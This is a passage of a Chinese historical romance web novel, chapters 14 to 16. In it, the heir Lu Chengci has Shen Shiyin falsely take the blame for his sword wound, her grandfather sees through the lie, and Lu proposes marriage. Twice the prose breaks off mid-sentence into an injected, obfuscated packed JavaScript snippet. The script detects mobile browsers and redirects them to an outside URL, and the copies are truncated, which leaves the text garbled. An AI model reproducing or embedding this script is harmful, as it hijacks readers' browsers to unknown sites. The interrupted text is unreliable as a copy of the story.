这暧昧从何而起,二人皆说不分明,却都抑制不住地想要靠近。尤其是不受控制的生理反应,激着某种强烈的渴望在胸中灼灼燃烧。 沈识因僵挺着动也不动,脸颊连带着脖颈都染上了霞色,想来是羞极了。 “疼……”陆呈辞低吟一声,勾了勾她的手指,“真的好疼。” 他这声略带撒娇的呼唤,让沈识因不禁转过身来,这才想起他还伤着。目光掠过他裸露的胸膛,不由得握紧袖口没做声。 他仰首望着她:“真的很疼,快些帮我包扎,你祖父怕是快要到了。” 说起祖父,沈识因这才冷静了一些,强压下满面的羞赧,拿起镊子,用棉团蘸了药酒,红着脸颊仔细为他清理伤口,语气里带着担忧:“我不知你在做什么,竟受了这样重的伤。但你将我带至此地,已然惊动了太师府。我祖父不是寻常人物,你应当清楚。以他的性子,既寻到这里,说明事态严重。” 她手下动作不停,虽在责备,语气却很温和:“虽说你未曾伤我分毫,但在我祖父看来,那就是在他身上动刀。待会儿你要如何与他交代?还一口咬定我行凶?这般,只会让事情闹得更大。” 陆呈辞没回答,却笑了。 沈识因蹙眉:“你还笑?此事牵扯甚广,不单是我,还有文安侯与刑部侍郎那边,你要如何交代?他们既来,便绝不会轻易罢休。” 陆呈辞却很平静:“你说得不错,你祖父怕是不会轻饶了我,说不定还要扒掉我一层皮。所以,待会儿能不能告诉你祖父,我肩上这伤是你刺的?” “我刺的?”沈识因执纱布的手一顿,简直不可置信,“这不是我伤的,我为何要认?我只不过是掐了你一下,你可别赖上我。” 陆呈辞瞧着她嗔怒的模样,目光愈发挪不开了:“我不是要赖你,只是我受伤这件事,绝不能教外人知道。况且我将你留了这么久,总得有个说法。待会儿若说是在争执间被你失手所伤,一切便都解释得通了。” 沈识因简直要气笑了:“陆呈辞,我不知道你究竟在谋划什么。那日与许夙阳有关的东街命案,你硬是将我牵扯进来,我还未曾与你计较。如今你竟又要我替你圆谎?我又不是傻子,岂能因帮你而累及自身,甚至拖累整个太师府?” 寻常人谁不是对 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她克制了一下自己纷乱的思绪,取来药膏为他仔细涂抹,又拿起纱布一圈圈缠好,轻声道:“你把我关这么久,我替你包扎伤口已是仁至义尽。你快放我走,我会劝祖父不为难你。” 他没做声。 他不回应,她也不再问,收拾完药箱就向门外走去。结果,刚走了两步就被他抓住了手。 她下意识挣脱,他却握得更紧。 他站起身,与她面对面站着,目光灼灼地凝视着她:“沈识因,今日你必须帮我。若你不应,我即便不被你祖父责罚,也可能会被抓到皇宫去。此刻城中怕是已然生变,我将你祖父引到这里,实则是在保护他。” “这背后牵扯着一桩极大的阴谋,恐怕连你祖父自己都不知道已落入了他人圈套中。此事错综复杂,关乎重大。所以,今日你必须帮我。你不用紧张,就配合我,只说我肩膀上的伤是你所为就好,其他的,我会处理。” 他说着,俯低了些身子,语气又郑重了一些:“还有,方才我不是开玩笑,即便你不答应我,也不许嫁给许夙阳。” 不许嫁给许夙阳?他说不许? 她惊讶而又疑惑地望着他,手还被他紧紧握着。 他那张英俊得总让她晃神的脸,此刻仿佛带着某种魔力,竟让她鬼使神差地想要点头。 他,是魔鬼吧! 14. 第 14 章 半个时辰前。 月洞湖畔的烟花盛会盛大得几乎轰动了整座京城,灯火如昼、人声鼎沸,竟比除夕还要热闹几分,恍惚间让人错觉这不是中秋,而是新年。 临湖一座酒楼的高层,窗边静静立着一位身着玄色衣衫、面覆轻纱的男子。他遥望楼下熙攘的人群,又抬眼看向夜幕中不断绽开的烟花,眸色沉沉,眉间紧锁。 这时,忽有一名黑衣人悄步上前,在他身后恭敬行礼,低声道:“王爷,宫中传来消息,小福公子……不见了。” 立在窗边的陆陵王蓦然转身,面纱下的声音陡然一沉:“怎么回事?白日不是才传过信?” 黑衣人低声回禀:“探子报称,似是被人掳走。彼时太师沈昌宏正在宫中,此前他还去过御膳房……属下怀疑,是否与他有关?” 陆陵王眼中寒光骤现:“沈昌宏这老东西,屡屡坏事。皇上这些年来能稳坐朝堂,多半是倚仗于他。” 他衣袖一拂,吩咐黑衣男子:“带人去找,便是掘地三尺,也要将人寻回。再传令烟花那边,依计行事,即刻行动。” 他话音甫落,又一名黑衣男子疾步而入,神色惶急:“王爷,不好了!我们在烟花处的暗桩被人识破,只怕不能继续行动了。坏事者,似乎是亲王府的人。” “亲王府的人?陆亲王不是说不插手此事吗,怎会出尔反尔?你确定是亲王府的人?” “属下确凿无疑。”黑衣男子躬身回禀,“那人是顶尖高手,像是亲王府世子的贴身护卫,我们的人曾与他交过手。” “陆呈辞?”陆陵王眸色骤沉,指节扣紧腰间剑柄,“看来今夜有变故,暂且按兵不动。太师那边依计行事,传令后宫之人开始动作,再派人往西运河粮仓放火。” —— 当太师沈昌宏匆忙赶到审司堂时,沈识因的母亲沈夫人仍立在门前。文安侯与刑部侍郎也都满脸焦灼地站在一旁。 这深更半夜本该安寝的时刻,却惊动这许多朝臣齐聚此地,着实令人无奈至极。 众人见太师到来,纷纷跪地行礼。把守审司堂的兵将虽也躬身见礼,却丝毫没有让开的意思。 沈昌宏蹙眉问沈夫人:“究竟怎么回事?” 沈夫人满面愁容地回道:“回父亲,具体情形我也不清楚。僵持了这般久,他们依然不肯放人,连陆世子的面也未见到。” 作为一个母亲,眼见女儿被关押在此,直到此刻都未能见上一面,实在焦灼难安。 沈昌宏神色愈冷,指节攥得发白。他迈步上前,对把守的侍卫沉声道:“去叫你们陆世子过来。就说太师亲至,若不然,休怪老夫直闯进去。” 陆呈辞乃是亲王府世子,身份尊贵无比,纵是文安侯与刑部侍郎在一旁焦灼等候,也不敢轻举妄动。 可太师却不同。他不仅年高德劭、位极人臣,更是皇上最倚重的股肱之臣。朝野上下无人不知他的权势,除却圣上,没人敢对他有半分不敬。即便是陆亲王,也从来不敢轻易为难于他。 把守侍卫自然知晓太师言语的分量,当即行礼入内通传。不多时,陆呈辞便现身门前。 众人见他竟真的一直待在审司堂内,不由皱眉。 陆呈辞立在阶前,目光扫过众人,随即掩住受伤的肩头轻咳两声。他依礼向太师躬身作揖。按身份本该是众人向他行礼,但论辈分,他仍先向太师致意。 沈昌宏并未回礼,只将眉头锁得更紧,打量着他道:“还请陆世子与老夫说个明白,我家因儿,连同文安侯的孙女、刑部侍郎的公子,被你关押在此整整几个时辰,至今不肯放人,究竟意欲何为?” 沈太师语气冷然,直直望着陆呈辞。 陆呈辞心知他怒意正盛,再度欠身一礼:“太师大人、侯爷、严大人,还请堂内上座。此事容我细细说明。” 众人相视一眼,心知此刻确非立于外间理论之时。 太师沈昌宏面色沉凝,率先随陆呈辞步入堂内。陆呈辞吩咐侍从看茶,却被他抬手止住,沉声道:“不必这些虚礼,老夫的孙儿现在何处?即刻将人放出。若有什么关节,只管与老夫分说,自有我来担待。” 陆呈辞仍持礼数颔首道:“太师恕罪,今日之事确是晚辈唐突。只是……” 他掀开衣领,露出肩头层层渗血的纱布:“傍晚时分,三位在茶楼争执不休,险些动起手来。晚辈恰巧在此,不得已才将诸位请至审司堂暂歇。” “原本只想分别劝解一番便送各位回府,不料沈姑娘情绪激动,争执间竟失手伤了晚辈。这一刀着实不轻,晚辈只得先行裹伤,未敢立时放人。毕竟,袭伤亲王世子非同小可,若让家父知晓,只怕此事难以善了。” 陆呈辞话音方落,沈夫人当即起身驳斥:“陆世子莫要乱说,我早已去茶楼打听过,我家因儿分明不曾伤你分毫,就被你强带到这里。如今你怎么还反说她持刀行凶?她一个闺阁女儿,连绣花针都未必拿得稳,怎会持刀伤人?” 太师沈昌宏亦是面露惊怒,冷声道:“陆世子,分明是你先将人无故拘押,此刻又欲构陷我沈家女儿行刺世子。须知这刺杀皇亲的罪名何等重大,我家因儿如何担待得起?” 他们这般激烈的反应早在陆呈辞预料之中。为人父母者,怎会轻易听信旁人指摘自家孩儿行凶之说。 他温声道:“二位莫要激动,请沈姑娘过来一问便知。” 他说罢便命侍从去请房中候着的沈识因。 不过片刻,沈识因踏进厅来。一见母亲与祖父都在,她眼圈霎时红了。被无故拘了这许久,心中自是又惊又怕,此刻见至亲在此,一时情绪再难自持。 沈夫人急忙迎上前拉住女儿的手:“因儿,他们可曾为难你?” 沈识因轻轻摇头,温声宽慰道:“娘亲放心,女儿无事。” 她说罢又向祖父行礼问安。她深知祖父的性子,能亲自前来,可见有多重视。 沈昌宏见孙女安然无恙,这才稍稍放心,沉声问道:“因儿,你且如实告诉祖父。陆世子肩上的伤,当真是你所为?他说你们争执之间,你失手伤了他,可有此事?” 沈识因闻言看了一眼陆呈辞,二人目光相接片刻,她轻轻颔首,回道:“祖父容禀,方才争执间……确是因儿不慎伤及陆世子。但因儿绝非有意行凶,陆世子也知我并非故意,并未多加为难。幸而当时下手不重,肩上伤势并不严重,大夫说好生将养些时日便无碍了。” 她稍作停顿,又低声解释:“茶楼之事确实是我们年少气盛,闹得过了些,影响实在不好。陆世子也是为各方周全考量,才将我们请至此处。后来经过一番交谈,误会已然消解。之所以耽搁这些时辰,实是因陆世子受伤之事需要处置,一时气恼未消,才未立即放行。既然祖父亲自前来,此事便说开了,不如……我们这就回去吧。” 沈识因虽不甚明了陆呈辞有何计划,然事关朝堂与祖父安危,加之陆呈辞已承诺事后不予追究,她自是不愿将事情闹大。 她说罢,房间里安静了好一会。 沈昌宏蹙眉看着她,无声叹了口气。他历经朝堂风雨,于人情世故最是通透,尤其沈识因是他自幼看大的孙女儿,她眉间一闪而逝的恍然,又怎能逃过他的眼睛。 虽心中郁结,但既然这番话已从她口中说出,眼下又有他人在场,他也不便当场拆穿。 沈夫人也察觉情形有异,料想其中或有隐情,但眼下最要紧的是先将人带离此处。她轻声道:“既然此事已然说开,便到此为止罢。这三个孩子确是闹得不像话,多谢世子代为管教。只是因儿失手伤及世子,虽是无心之失,却也不知究竟是何等争执竟让她慌乱至此……” 她语气微顿,眼底掠过一丝忧愁:“想来因儿也受了不小惊吓。既然世子言明此事作罢,那便就此揭过。我们不便再叨扰,还望世子莫要将今日之事声张。” 作为母亲,她心知女儿能持刀误伤他人,事情绝不简单。 陆呈辞急忙点头应道:“夫人说得是。您放心,此事绝不外传。” 沈昌宏仍心中郁结,沉吟片刻,对他道:“世子伤势不轻,不如随老夫回太师府一趟,让府中医官好生为你诊治。” 让他去太师府? 沈识因没想到祖父竟没有作罢的意思,她刚要推拒,结果陆呈辞却答应得爽快:“好,晚辈这就随您过去。” 他…… 他说罢,便命人将云棠与严澈都带了出来。 刑部侍郎见儿子无恙,不愿在此多作停留,当即揪住他的耳朵匆匆离去,免得卷入更多是非。文安侯见孙女安然,也未多言,带着人默然离开。 太师府一行人回到府中,沈昌宏将陆呈辞引至前厅看茶,随即吩咐人去请府医。 沈识因见祖父真要请府医验伤,急忙上前劝阻:“祖父,伤口既已包扎妥当,若再解开恐不利于愈合。” 她心下惶然,自己亲手为陆呈辞包扎时看得分明,那伤口极深,而她包扎得仓促,若是经府医查验,必定会露出破绽。 沈昌宏看她一眼,眸光微沉,道:“既然你们口口声声说这伤是你所为,那自然要验明伤势轻重,才好定下该如何对陆世子负责。” 负责? 沈识因闻言心头一紧,难道祖父自始至终都没有相信? 她忧心忡忡地望向陆呈辞,却见陆呈辞神色自若,不显紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221040|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张。 不多时府医便被请了进来。府医行礼过后,小心翼翼地解开陆呈辞肩上的纱布。当那层层纱布终于卸下时,在场众人无不倒吸一口凉气。 只见陆呈辞肩头赫然一道极深的伤口,虽已止住流血,但那皮开肉绽的惨状仍触目惊心。 府医不禁咦了一声,低声叹道:“这伤势……着实不轻啊。” 沈昌宏凝目细看那伤口,沉声问府医:“医师可能看出是何物所伤?” 府医躬身回禀:“回大人,世子这伤应是长剑所致,深约两指,伤势颇重。虽已止血,但创口难以自愈,须得立即缝合才是。” “长剑所伤?还深达两指?”沈昌宏的声音陡然转冷。这分明与方才所说的匕首误伤截然不同。匕首绝无可能造成如此深重的伤口。 他们二人,果然都在说谎。 沈识因顿时慌了神,悔不该当初草率应下这个谎言。 沈昌宏沉默片刻,眸色愈发深沉,对府医道:“那便有劳医师为世子缝合伤口。” 府医领命后便取来针线麻药,利落地为陆呈辞敷药准备缝合。 厅内气氛凝滞,无人出声,只听得见针线穿透皮肉的细微声响。 陆呈辞端坐不动,任凭银针一次次刺入皮肉,竟只微微蹙了下眉头。 沈识因望着那穿皮入肉的银针,只觉得心口一阵阵发紧,眉尖蹙得生疼。 待府医缝合完毕,仔细上药包扎后躬身退下,沈昌宏便起身对陆呈辞道:“陆世子,请随老夫到书房一叙。” 陆呈辞应声而起,临行前望了沈识因一眼,沈识因忧心忡忡地回望他。 他们拙劣的谎言就这样被祖父轻易识破,也不知祖父单独唤他去书房所为何事。 陆呈辞递给她一个安抚的眼神,便随沈昌宏去了书房。 书房门扉轻合,沈昌宏抬手请陆呈辞入座,开门见山道:“不知陆世子用了什么法子,竟能让因儿配合你撒这个谎。但你既将她牵扯进来,老夫便不能坐视不管。” 他目光如炬:“因儿心性纯善,许是见你受伤心生怜悯才应下此事。还望世子明白自己的身份,莫要忘了亲王府与太师府各自的立场。” 陆呈辞闻言,从容颔首一礼:“太师大人明鉴,这些利害,晚辈心中自是清楚。此番哄骗沈姑娘为我遮掩,确是晚辈之过。原以为能瞒天过海,到底是晚辈狂妄了。” 他言语坦然,不见半分虚伪。 沈昌宏不想他竟如此坦诚,审视着他道:“方才宫中急报,有刺客潜入大内,想必那就是陆世子吧?你肩头这处剑伤,分明是宫中禁卫所用的破甲剑所伤。你让我孙儿替你担下这罪责,真是打得好算盘。” 陆呈辞忙歉然道:“晚辈不敢。既然太师已看破,晚辈也无须再隐瞒。今夜潜入皇宫之人确实是我。我入宫,是为了救出陆陵王之子小福。那孩子在御膳房做细作多时,想必太师早已知晓。只是,您既早知他的身份,为何不曾揭破,亦未上报圣上?” “还有,陆陵王今夜欲在月洞湖起事,皇上与太师应早已布下天罗地网,意欲将其一举擒获。或许在陛下眼中,荡平陆陵王不过覆手之间,然其城府之深,绝非如此简单。太师大人多年来赤胆忠心,鼎力辅佐圣上,可曾真以为陛下待您亦是推心置腹?其实不然。自圣上迎妤妃入宫,心性已非往昔,这一点,太师想必早有察觉。” “所以,当您窥破陆陵王之子潜伏宫闱,却并未即刻上禀御前,只因您亦在权衡。太师素来仁心为怀,以黎庶为重,以社稷当先。然陆陵王狼子野心,早欲诛灭太师。此番举动,无论意在试探圣心,或仅为蓄意生事,其最终所求,不过是设法除掉您。” “今日沈姑娘与另两位在街市争执,动静颇大,已引得多方注目,晚辈不得已才将人请至审司堂暂避。太师明察秋毫,晚辈这点拙劣的遮掩,自然瞒不过您的眼睛。还望太师海涵,勿与晚辈计较。” 他句句恳切,毫无欺瞒之态。 沈昌宏审视着他,心下愕然,当真未曾料到,这位两年前才认回亲王府的嫡长子,竟如此直白地将这般要害之事和盘托出。 他静默片刻,沉声问道:“那你告诉老夫,你费这番周折,目的究竟为何?总不至于是想与我太师府联手。你父亲是何立场,与我太师府又是何等关系,你心知肚明。” 沈昌宏自认为与亲王府之间界限划得清明,不曾想,竟突然冒出个陆呈辞,将局面搅得如此复杂。 陆呈辞起身,走到他跟前,俯身一礼,道:“晚辈所做一切,别无他图,更从未存过半分危害太师府之心。” 他语气郑重,字句清晰:“晚辈,想迎娶沈识因。” 15. 第 15 章 其实在今晚之前,陆呈辞从未有过如此汹涌难抑的欲念。直至今日,他与沈识因面对面站着,他几乎要吻上她的那一刻,他才骤然明白,这两年来,他其实从未真正将她放下。 从前他只以为是放不下那段暧昧纠缠,也想过对她负责——若她过得不如意,若她寻不到心悦之人,又或者有朝一日二人重逢,她仍愿意同他在一起的话,他是愿意与她长久走下去的。 即便没有深情厚爱,他也愿担起这份责任。毕竟他们之间已发生过男女之间最亲密的事。 所以,无论何时,只要她开口说一句“成婚”,他定会毫不犹豫地应下,将这份责任担负到底。 两年来,他以为自己当真可以毫不在意地看着她另觅良人、谈婚论嫁。可直到她真要与旁人议亲,他心里却蓦地涌起阵阵酸涩,全然无法接受。 或许,那两次脱口而出的求娶,是一时冲动。而这一回,他是真的想要娶她。 即便清楚二人身份立场,明知这段姻缘若要成全,必得冲破重重阻碍,他也要试一试。 他说完这番话后,屋内静了许久。太师沈昌宏一直审视着他。 良久,沈昌宏忽而一笑:“年轻人,情之所动在所难免。但先前老夫已将话说得明白,我们两家联姻绝无可能。不论你对因儿存着什么心思,都不可能娶到她。” 他眸光深沉,语音冰冷:“除非,亲王府愿彻底臣服,你父亲永绝争夺皇位之心。如此,或许还有一线转机。但以令尊的性子,想来不会答应。” “老夫虽不会拿因儿的婚事随意联姻,但也不可能让她嫁得轻率。陆世子今后莫要再提此事,更不可在因儿面前提及。” “小姑娘年少心性未定,易被花言巧语所惑。老夫观世子并非心性简单之人,与因儿全然不是同路。事已至此,老夫不愿深究,茶楼风波、行刺之事乃至宫中之变,皆可睁一只眼闭一只眼。往后陛下是否追究,全凭世子的造化。” 他起身,语气决绝:“希望陆世子从今往后,别再靠近因儿半步。” 沈昌宏为官数十载,对皇上忠心耿耿,自然明白此事于两家而言简直是无稽之谈。 陆呈辞早已料到他的反应,当下深深施了一礼:“太师大人,晚辈求娶沈识因确是出自真心,与身份地位、朝堂纷争皆无干系。晚辈自知两府立场殊途,今日斗胆表明心迹,并非要强求太师即刻应允。” 他抬起头,目光灼灼如星:“既然眼下此路不通,晚辈愿杀出一条新路来。即便将来两府终究敌对,晚辈也立誓绝不会对太师府上下、尤其是对沈识因,做出半分伤害之事。” 沈昌宏闻言蹙眉,又将他细细打量。平心而论,这年轻人不论是气度相貌、胆识魄力,还是那身与生俱来的矜贵涵养,确实都是万里挑一的出众。若不是顶着亲王府世子的身份,这般良配他早就应下了。 可偏偏就是这层身份,纵有再深的缘分,他也万万不能答应。 沈昌宏起身,对陆呈辞道:“世子所言,老夫都已记下,亦不会轻视这份心意。你我之间本无其他嫌隙,只是立场殊途,还望世子收心。” 他拒绝得干脆利落,言语间已划下分明界限,不容再续姻缘。 陆呈辞虽早有预料,心下仍不免怅然,可也不便多言,只得躬身一礼,默然退出书房。 他方才踏出房门,便见沈识因正立在不远处的海棠树下。她见他出来,眸中顿时漾开急切之色,快步迎上。 两人相顾无言,默契地并肩朝后园行去。 今夜月华如练,清风拂过满园秋色,平添几分温柔。 沈识因见他神色黯然,轻声道:“今日之事想来实在荒唐。我见你伤势不轻,回去定要好生休养,记得按时请医师换药。” 她言语依旧温婉,并未追问祖父与他说了些什么,因为她知道,祖父既已识破他们的谎言,定然说了不少重话。 陆呈辞走在她身侧,微风拂来,撩起她几缕青丝,漾开淡淡馨香。他凝望着她朦胧的侧脸,轻声道:“方才我向太师禀明,想要娶你。” 他的声音不轻不重,她却听得深沉。 这已是他第三次说出迎娶的话了。前两次是说与她听,这一次竟是直接说给她祖父。而她这回并未显得太过惊讶,一次两次或许是戏言,三次四次,她便知道他并非玩笑。 她静默良久,方才轻轻一笑:“陆世子往后还是莫要再说这样的话了。婚姻之事最是郑重,说一回两回尚可,说得多了,反倒失了分量。听的人……也不会当真。” 她偏过头望向他,目光清凌如月:“你我相见不过数面,虽不知你先前是否留意过我,但终究未到谈婚论嫁的地步。再者……” 她语声渐低,带着几分怅然:“你我都明白自家的处境,何必再给彼此平添麻烦。” 即便是强行靠在一起,也只会遍体鳞伤。 陆呈辞久久未语,二人默然前行,气氛却悄然变了滋味。 行至一处凉亭下,沈识因驻足轻声道:“夜深了,世子请回吧,我也该歇息了。以后……保重。” 保重…… 她这话说得明白,是希望从此两不相干,再无牵扯。 凉亭下的灯火摇曳不定,陆呈辞凝望着她。历经两年光阴,她的容颜虽有些许改变,却依然让他心头触动。 他何尝不明白,若真要在一起,必须冲破多少难关。 要说服世代忠烈的太师府转向亲王府,无异于折辱老臣风骨。而要劝服父亲放弃觊觎多年的皇位,更是痴人说梦。 若无万全之策,这段情缘终将无果。 这也正是他两年来避而不见的缘由。而今他贸然越界,在尚无十足把握时,依然寻不到通往她身边的路。 他沉默良久,方低声开口:“今日多谢你信我一次,陪我演了这出戏。我也要与你赔个不是,不该用这等法子将你牵扯进来,平白让太师对你生了失望。” 他抬眼望进她眸中,声音里带着几分恳切:“有些道理,两年前我就明白了。你……能否予我些时日,等我一阵?不要急着应下许家的亲事?” 这一次,他没有像之前那样霸道,没有说“不许”。 沈识因望着他,月光下,他眉眼如画,却蒙着一层淡淡的怅惘。 听到“两年前”这三个字时,她已是微微蹙起眉头,隐约觉察出些什么,却终究未敢深想。 她没有回答,只抬手轻指院门方向:“夜深了,我实在困倦。世子身上带伤,也请回吧。” 今日他虽有些逾矩,将她带至审司堂,但终究是为了护她周全;而她也替他圆了个谎,虽最后被祖父识破,至少也算还了人情。 周围静了好一会儿,夜深人静时,秋风拂过,更添几分萧瑟。 陆呈辞又沉默了一会,终是应了一声:“好,你去睡吧,我这就回去。” 他的声音很轻。 她微微颔首。 二人又相视一眼,终究没有再说什么。 沈识因站在原地望着他离去的背影,直到彻底消失在月洞门外,才踩着清冷的月色缓步走回闺房。 陆呈辞回到亲王府,岳秋迎上前禀报:“世子,月洞湖那边都已处置妥当。确实有人在烟花中做了手脚,幸好我及时制止,若当真引爆,怕是半个京城都要遭殃。” “那些人实在猖狂,天子脚下也敢对平民百姓下手。虽此事已平,但运河粮仓又突然起火,想来是陆陵王故意给陛下添堵。据探子说,这些时日陛下一直宿在妤妃的飞鸾殿,也不知是何打算。” 近日宫中传言,说皇上独爱妤妃,连日来留宿飞鸾殿,以致经常误了上朝的时辰。 陆呈辞蹙眉往内院走:“陆陵王实在猖狂至极,以为蛊惑住皇上便能 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所以,此刻他说出这番话,岳秋是相信他真会不顾一切去做的。 岳秋张了张口想要再劝,却见他默然褪去里衣,露出肩头包扎的伤口。 “世子受伤了?在哪受的伤?” “在宫中。救小福时挨了一剑。” “可要紧?要不要现在唤医师来?” “不必。伤口已在太师府处理妥当。” “太师府?”岳秋满脸惊诧,“那太师岂不是已经知晓……” 陆呈辞从衣柜取出一件中衣,神色如常:“正是要让他知道。唯有如此,才能试探出往后该如何既能杀出一条路,又能护太师府周全。” 岳秋愈发困惑:“世子为何要护太师府?沈太师是皇上最倚重的老臣,您这般岂不是自投罗网?” 陆呈辞:“路本就是死的。若不兵行险着,连一丝缝隙都挣不出来,还谈什么将来。” 岳秋听得云里雾里:“世子说的……是与谁的将来?” 陆呈辞不再作答,拿着换洗衣物向浴间走去,独留岳秋站在原地茫然挠头。 —— 沈识因回到房中梳洗罢,心里却乱糟糟的,一夜辗转难眠。次日起身后,虽照常张罗起姐姐的婚事,眉宇间却总笼着几分郁色。 母亲看出她心事重重,却体贴地没有多问。祖父自那夜之后也未曾找她谈话,想来心中自有打算。 她深知不能再给家中添麻烦,于是强打精神,努力让自己显得从容如常。 这般过了五六日。 这些时日许夙阳日日都来,不是温言软语地说些体己话,便是旁敲侧击地问及婚期。 他待她比往日更加体贴周到,不仅关怀备至,还时常捎来些新奇玩意逗她开心。 可无论他如何费心哄她,带来怎样精巧的礼物,她始终提不起兴致。每每强颜欢笑应酬着,心里却像压着块石头,沉甸甸的透不过气。 转眼大半月过去,沈识因再未见过陆呈辞,甚至连关于他的半点消息都不曾听闻。 沈、许两家气氛缓和下来后,又开始商议婚期。她坐在厅中神思恍惚,连众人说了些什么都未曾听进心里。 直到这日,她去看望外祖母,在街边铺子挑选点心时,在熙攘的人潮中,看见了陆呈辞。 他身姿挺拔地站在人群中是那样的显眼。 他转过头来,对上她的目光。 秋季的景色很宜人,气候也很温和。 二人于喧嚣街市两端遥遥相望,仿佛万千世界都承载不住这一眼的分量。 沈识因缓过神,匆匆付了银钱,兜起店家还未包好的点心,拐进了旁边的巷子。 很快,她便听到了跟来的脚步声。 “沈识因!” “你躲什么?” 16. 第 16 章 沈识因并不清楚自己为何要停在这儿。那些甜腻的糕点,分明不是祖母喜爱的口味,她却依旧让店家包上一些。打包时,目光也总似有若无地向四周扫去,像是被什么牵着。 直到真的瞥见那道身影时,她整个头皮都倏地一麻。 人与人之间,或许当真存在某种无形的牵引。无论置身何地,只要那人出现,心神便自有感应,开始不由自主地寻觅。 因此,今日遇见陆呈辞,她虽似早有预感,可当目光真正相迎的刹那,她仍是措手不及。 这几日,她总反复做一个诡异的梦。 梦里,在一间漆黑无光的屋子里,她被人狠狠掼在床榻上,任凭如何挣扎嘶喊都无济于事。混乱间,她摸到一件冰冷坚硬的器具,使出全身力气狠狠向对方砸去,这才得以脱身。 她拼命地跑,一路不敢回头,直至浑身滚烫、喉间干渴得如同烧灼,才跌跌撞撞寻到一处堆满柴火的杂间。 朦胧中,她瞧见一名男子,那男子身形清瘦,面目模糊,她想也不想直接扑了上去。 之后,那些纠缠的、炙热的、令人面红耳赤的画面——拥抱、亲吻、乃至更深的放纵,都真实得骇人,仿佛曾亲身经历过一般。 她只觉得胸口燥热难当,像有一团火要跳出来。 这场荒诞又羞耻的梦,她接连做了几夜,不禁让她害怕:或许在她失去的那段记忆里,当真发生过什么可怕的事。 梦境与残存的记忆碎片渐渐重叠,虚虚实实,教她已分不清何为梦境、何为真实。 方才与陆呈辞那一眼对视,让她慌乱得无以复加,只得匆匆拎了点心,一头扎进旁侧的窄巷。 她原只想远远避开他,却未料到,他竟径直追了上来。 身后传来他清冷的嗓音,她脚步微微一滞,没有回头,继续向前走去。不料他紧随不舍,两人间的距离越来越近。 “沈识因。” “我有话同你说。” 他再次叫她,她终究还是鬼使神差地停住了。她转过身,只见他已经大步迫至眼前。她强自压下心绪,垂首行礼道:“拜见世子。” 这一声“世子”唤得极是生疏冷淡。 陆呈辞立于三步之外静默地望着她,看她这般疏离模样,心中百味杂陈。目光掠过她身后幽深的巷子,微微皱起了眉头。这里僻静无人,她为了躲他,竟独自钻入这等地方。 他清声开口:“往后见了我,不必这般疏离,更无需躲着我。” 她没做声,只抬头看他。 二人将近一月未见,他清减了许多。这些时日她虽未特意打听他的消息,但从父亲与兄长偶尔的交谈中,隐约听出宫中出了乱子。 运河粮仓起火后掀起轩然大波,祖父、父亲和兄长接连数日早出晚归,忙碌不堪。她渐渐察觉朝堂局势果真如陆呈辞所言并不简单,或许祖父当真陷入了他人设下的圈套,那些话未必是在骗她。 还有东街命案一事,她也听闻陆呈辞几次寻过许夙阳。许夙阳在她面前提起时,话里话外都带着对陆呈辞的不满与愤懑。 想来这段日子他应当十分忙碌,这才消瘦至此。 瘦削后的他更显清俊,只是不说不笑时,周身那股清贵之气愈发凛然,教人不敢靠近。 她移开目光,轻声问道:“不知陆世子寻我,所为何事?” 终究还是要礼数周到。 陆呈辞闻言向前迈了一步,而她却下意识地向后退了一步。 她这一退,不禁让他沉了一下眼眸。 他停下脚步,放缓了些语气:“不必紧张,我只是想与你说几句话。” 将近一月未见,今日在街上偶然相逢,他几乎是下意识地想唤住她。可瞧她这般模样,似乎并不愿与自己多言。 沈识因垂眸道:“世子多虑了,我并不紧张。若是无事,我便先告辞了。” 她心中暗自懊恼,方才为何要躲进这巷子,以为能避开他的视线,却不料还是被他追了上来。 她说完,准备绕过他离开,结果却被他伸臂拦住了。 他今日穿着一袭浅蓝色长衫,袖口绣着淡淡的云纹,抬手时广袖在风中轻轻浮动着。 她望着横在身前的手臂,深吸一口气,又抬头去看他。 她原以为这一个月不见,彼此该生疏如陌路,可此刻四目相对,却分明感受到一种难以言说的熟悉,那眼神交汇处涌动着的,是彼此都心照不宣的暗流。 巷中寂静无人,二人默然相对片刻。沈识因终究还是回过神来,低声道:“若是世子没有其他吩咐,我便先告辞了。时辰不早,还要去探望外祖母。” 陆呈辞慢慢收回手臂:“我送你过去。” “不必劳烦世子。”她立即拒绝。 陆呈辞没做声,只默然跟在她身后。 两人一前一后走在巷中,沈识因不语,陆呈辞也不言。起初沈识因步履匆匆,渐渐却放缓了脚步,陆呈辞始终不即不离地跟着。 沈识因行至马车前,登上车厢,陆呈辞也翻身上马,紧随在侧。沈识因掀开车帘望去,不由蹙起眉头,他还当真要送她。 马车快要行至外祖母府邸时,沈识因见他仍紧随不舍,只得命车夫停下。 她下车吩咐马夫将车驾到一旁等候,而后走上前,仰首道:“陆呈辞,你下来。” 她这次未再尊称“世子”,直呼其名的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆呈辞敛了笑意,温声道:“你别误会,我从未存心捉弄你。近来很忙,明日还要离京一趟,约莫十来日才能回来。今日既偶然相逢,便想多与你待一会。” 沈识因抬眸望向他,语气稍缓:“世子可是缺个说话的朋友?若是有什么烦恼想要倾诉,大可去寻旁人。我终究是个女儿家,与你是做不成朋友的。” 沈识因说要“做朋友”,分明是想与他划清界限。 陆呈辞却道:“做不了朋友,可以做别的。” 他眸光微沉:“我不是与你说过,让你等一等?怎的还在与许夙阳议亲?” 二人近期虽未相见,但是沈识因的事情陆呈辞却打听的清楚。 沈识因抿唇不语,觉得自己的婚事与他并无干系。正待要说些决绝的话,却见他忽然从袖中取出一个精巧的木匣。 他把木匣打开,里面是一只珍珠耳坠,莹润生光,很是漂亮。 但是这么漂亮的耳坠,却只有孤零零的一只。 她不由蹙眉,看着他满是疑惑。 